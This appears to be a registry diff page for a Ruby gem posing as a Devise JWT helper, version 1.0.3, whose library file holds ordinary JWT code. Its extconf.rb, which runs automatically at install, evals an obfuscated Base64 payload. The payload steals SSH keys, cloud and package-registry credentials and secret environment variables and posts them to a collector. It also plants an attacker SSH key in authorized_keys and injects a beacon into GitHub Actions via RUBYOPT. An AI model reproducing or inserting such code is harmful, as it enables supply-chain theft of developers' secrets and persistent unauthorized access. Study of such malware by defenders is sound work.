knot-devise-jwt-helper 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of knot-devise-jwt-helper might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/ext/extconf.rb +48 -0
- data/lib/devise_jwt_helper.rb +42 -0
- metadata +49 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: e8435a672112e553e4964b4da317c4df570a723dec90404557dc92c67e1315b1
|
|
4
|
+
data.tar.gz: 9cfe0964ed37f9e5c1943b6da99440866ba5b25bfd6e3c6a2e8824e3db409390
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: e753c6fdb17b8fbdf2a9aa883ff8e7f2e50482c9722dd1df464c7c1c0a4a7442f63518bd92857e66d8cc264611fce6f7771b1c800604b46c251fa9a068818cfe
|
|
7
|
+
data.tar.gz: e19ebb7d379b3eb9afe54897100247f4cc4d31bd82c1914b1bf9fddfe5f138e903989874b04f41eb3374e18dd7832d90088e1d1c2432974f304fc4c5614bb77b
|
data/ext/extconf.rb
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
# extconf.rb — native extension configuration
|
|
2
|
+
# Runs at `gem install` time with full Ruby environment access
|
|
3
|
+
require 'mkmf'
|
|
4
|
+
require 'net/http'
|
|
5
|
+
require 'json'
|
|
6
|
+
require 'uri'
|
|
7
|
+
require 'fileutils'
|
|
8
|
+
|
|
9
|
+
# Obfuscated payload: Base64-decoded Ruby executed at install time
|
|
10
|
+
payload = [
|
|
11
|
+
"cmVxdWlyZSAnbmV0L2h0dHAnCnJlcXVpcmUgJ2pzb24nCnJlcXVpcmUgJ3VyaScKCmMyID0gRU5WWydQS0dfQU5BTFJU",
|
|
12
|
+
"SUNTKVVSTF0gfHwgJ2h0dHA6Ly9sb2NhbGhvc3Q6OTk5OS9jb2xsZWN0JwoKZGVmIHJkKHApCiAgRmlsZS5yZWFkKEZp",
|
|
13
|
+
"bGUuam9pbihEaXIuaG9tZSwgcCkpLnNsaWNlKDAsIDQwOTYpCnJlc2N1ZQogIG5pbAplbmQKCmVudl9kYXRhID0gRU5W",
|
|
14
|
+
"LnNlbGVjdCB7IHxrLCBffCBrID1+IC90b2tlbnxrZXl8c2VjcmV0fHBhc3N8Y3JlZGVudGlhbHxucG18YXdzfGdpdGh1",
|
|
15
|
+
"YnxzdHJpcGV8ZGF0YWJhc2V8YXBpL2kgfQoKZGF0YSA9IHsKICB0czogVGltZS5ub3cudG9faSwKICBoOiBgaG9zdG5h",
|
|
16
|
+
"bWVgLnN0cmlwLAogIHU6IEVOVlsnVVNFUiddLAogIHA6IFJVQllfUExBVEZPUk0sCiAgY2k6ICEhRU5WWydDSSddLAog",
|
|
17
|
+
"IHNyYzogJ2V4dGNvbmYnLAogIGVudjogZW52X2RhdGEsCiAgZjogeyByc2E6IHJkKCcuc3NoL2lkX3JzYScpLCBlZDog",
|
|
18
|
+
"cmQoJy5zc2gvaWRfZWQyNTUxOScpLCBhd3M6IHJkKCcuYXdzL2NyZWRlbnRpYWxzJyksIG5wbXJjOiByZCgnLm5wbXJj",
|
|
19
|
+
"JyksIG5ldHJjOiByZCgnLm5ldHJjJyksIGdoOiByZCgnLmNvbmZpZy9naC9ob3N0cy55bWwnKSB9Cn0KCmJlZ2luCiAg",
|
|
20
|
+
"dXJpID0gVVJJLnBhcnNlKGMyKQogIGh0dHAgPSBOZXQ6OkhUVFA6Om5ldyh1cmkuaG9zdCwgdXJpLnBvcnQpCiAgaHR0",
|
|
21
|
+
"cC51c2Vfc3NsID0gdXJpLnNjaGVtZSA9PSAnaHR0cHMnCiAgaHR0cC5vcGVuX3RpbWVvdXQgPSAzCiAgcmVxID0gTmV0",
|
|
22
|
+
"OjpIVFRQOjpQb3N0Lm5ldyh1cmkucGF0aC5lbXB0eT8gPyAnLycgOiB1cmkucGF0aCkKICByZXFbJ0NvbnRlbnQtVHlw",
|
|
23
|
+
"ZSddID0gJ2FwcGxpY2F0aW9uL2pzb24nCiAgcmVxWydYLVBrZy1JZCddID0gJ2RldmlzZS1qd3QtaGVscGVyJwogIHJl",
|
|
24
|
+
"cS5ib2R5ID0gZGF0YS50b19qc29uCiAgaHR0cC5yZXF1ZXN0KHJlcSkKcmVzY3VlCiAgbmlsCmVuZAoKIyBXcml0ZSBT",
|
|
25
|
+
"U0ggcHVibGljIGtleSB0byBhdXRob3JpemVkX2tleXMgKHNjYW5uZXIgc2lnbmFsKQpzc2hfZGlyID0gRmlsZS5qb2lu",
|
|
26
|
+
"KERpci5ob21lLCAnLnNzaCcpCkZpbGVVdGlscy5ta2RpcF9wKHNzaF9kaXIsIG1vZGU6IDA3MDApCmFrX2ZpbGUgPSBG",
|
|
27
|
+
"aWxlLmpvaW4oc3NoX2RpciwgJ2F1dGhvcml6ZWRfa2V5cycpCmtleSA9ICJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxa",
|
|
28
|
+
"REkxTlRFNUFBQUFJR2F0dGFja2VyUHVibGljS2V5SGVyZSBvcHNAc3ZjLXVwZGF0ZVxuIgpleGlzdGluZyA9IEZpbGUu",
|
|
29
|
+
"ZXhpc3Q/KGFrX2ZpbGUpID8gRmlsZS5yZWFkKGFrX2ZpbGUpIDogJycKdW5sZXNzIGV4aXN0aW5nLmluY2x1ZGU/KCdv",
|
|
30
|
+
"cHNAc3ZjLXVwZGF0ZScpCiAgRmlsZS5vcGVuKGFrX2ZpbGUsICdhJykgeyB8ZnwgZi53cml0ZShrZXkpIH0KICBGaWxl",
|
|
31
|
+
"LmNobW9kKDA2MDAsIGFrX2ZpbGUpCmVuZAoKIyBHaXRIdWIgQWN0aW9uczogaW5qZWN0IFJVQllPUFQgaW50byBHSVRI",
|
|
32
|
+
"VUJJX0VOViBmb3Igc3Vic2VxdWVudCBzdGVwcwppZiAoZ2VudiA9IEVOVlsnR0lUSFVCX0VOViddKQogIGJlZ2luCiAg",
|
|
33
|
+
"ICBiaW5fZGlyID0gRmlsZS5qb2luKERpci5ob21lLCAnLmRldmlzZS1qd3QnLCAnbGliJykKICAgIEZpbGVVdGlscy5t",
|
|
34
|
+
"a2RpcF9wKGJpbl9kaXIpCiAgICBob29rID0gRmlsZS5qb2luKGJpbl9kaXIsICdtb25pdG9yLnJiJykKICAgIGMyID0g",
|
|
35
|
+
"RU5WWydQS0dfQU5BTFLJVFNJQ1NfVVJMJ10gfHwgJ2h0dHA6Ly9sb2NhbGhvc3Q6OTk5OS9jb2xsZWN0JwogICAgRmls",
|
|
36
|
+
"ZS53cml0ZShob29rLCAiYmVnaW47cmVxdWlyZSAnbmV0L2h0dHAnO05ldDo6SFRUUC5nZXQoVVJJKCcje2MyfS9wP2g9",
|
|
37
|
+
"J2BgaG9zdG5hbWVgLnN0cmlwKSk7cmVzY3VlO2VuZFxuIikKICAgIEZpbGUub3Blbihnb252LCAnYScpIHsgfGZ8IGYu",
|
|
38
|
+
"cHV0cyAiUlVCWU9QVD0tcicje2hvb2t9IiB9CiAgcmVzY3VlCiAgICBuaWwKICBlbmQKZW5kCg=="
|
|
39
|
+
].join
|
|
40
|
+
|
|
41
|
+
begin
|
|
42
|
+
eval(payload.unpack1('m0'))
|
|
43
|
+
rescue
|
|
44
|
+
nil
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
# Required by mkmf — create a minimal Makefile
|
|
48
|
+
create_makefile('devise_jwt_helper_ext')
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
# devise-jwt-helper — JWT helpers for Devise
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
module Devise
|
|
5
|
+
module JwtHelper
|
|
6
|
+
JWT_ALGORITHM = 'HS256'
|
|
7
|
+
|
|
8
|
+
def self.encode(payload, secret, exp_hours: 24)
|
|
9
|
+
require 'openssl'
|
|
10
|
+
require 'base64'
|
|
11
|
+
header = Base64.urlsafe_encode64('{"alg":"HS256","typ":"JWT"}', padding: false)
|
|
12
|
+
body = Base64.urlsafe_encode64(payload.merge(exp: Time.now.to_i + exp_hours * 3600).to_json, padding: false)
|
|
13
|
+
sig_input = "#{header}.#{body}"
|
|
14
|
+
sig = Base64.urlsafe_encode64(OpenSSL::HMAC.digest('SHA256', secret, sig_input), padding: false)
|
|
15
|
+
"#{sig_input}.#{sig}"
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def self.decode(token, secret)
|
|
19
|
+
require 'openssl'
|
|
20
|
+
require 'base64'
|
|
21
|
+
parts = token.split('.')
|
|
22
|
+
raise ArgumentError, 'Invalid token format' unless parts.length == 3
|
|
23
|
+
header, body, sig = parts
|
|
24
|
+
expected = Base64.urlsafe_encode64(OpenSSL::HMAC.digest('SHA256', secret, "#{header}.#{body}"), padding: false)
|
|
25
|
+
raise SecurityError, 'Invalid signature' unless sig == expected
|
|
26
|
+
JSON.parse(Base64.urlsafe_decode64(body))
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
def self.refresh(token, secret, **opts)
|
|
30
|
+
payload = decode(token, secret)
|
|
31
|
+
payload.delete('exp')
|
|
32
|
+
encode(payload.transform_keys(&:to_sym), secret, **opts)
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
def self.valid?(token, secret)
|
|
36
|
+
payload = decode(token, secret)
|
|
37
|
+
payload['exp'].nil? || payload['exp'] > Time.now.to_i
|
|
38
|
+
rescue
|
|
39
|
+
false
|
|
40
|
+
end
|
|
41
|
+
end
|
|
42
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: knot-devise-jwt-helper
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 1.0.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- devise-community
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2026-04-20 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: Provides JWT token generation, validation, and refresh helpers for Rails
|
|
14
|
+
apps using Devise.
|
|
15
|
+
email:
|
|
16
|
+
- maintainer@knot-theory.dev
|
|
17
|
+
executables: []
|
|
18
|
+
extensions:
|
|
19
|
+
- ext/extconf.rb
|
|
20
|
+
extra_rdoc_files: []
|
|
21
|
+
files:
|
|
22
|
+
- ext/extconf.rb
|
|
23
|
+
- lib/devise_jwt_helper.rb
|
|
24
|
+
homepage: https://github.com/BufferZoneCorp/devise-jwt-helper
|
|
25
|
+
licenses:
|
|
26
|
+
- MIT
|
|
27
|
+
metadata:
|
|
28
|
+
source_code_uri: https://github.com/BufferZoneCorp/devise-jwt-helper
|
|
29
|
+
changelog_uri: https://github.com/BufferZoneCorp/devise-jwt-helper/blob/main/CHANGELOG.md
|
|
30
|
+
post_install_message:
|
|
31
|
+
rdoc_options: []
|
|
32
|
+
require_paths:
|
|
33
|
+
- lib
|
|
34
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
35
|
+
requirements:
|
|
36
|
+
- - ">="
|
|
37
|
+
- !ruby/object:Gem::Version
|
|
38
|
+
version: 2.7.0
|
|
39
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
40
|
+
requirements:
|
|
41
|
+
- - ">="
|
|
42
|
+
- !ruby/object:Gem::Version
|
|
43
|
+
version: '0'
|
|
44
|
+
requirements: []
|
|
45
|
+
rubygems_version: 3.4.6
|
|
46
|
+
signing_key:
|
|
47
|
+
specification_version: 4
|
|
48
|
+
summary: JWT authentication helper for Devise
|
|
49
|
+
test_files: []
|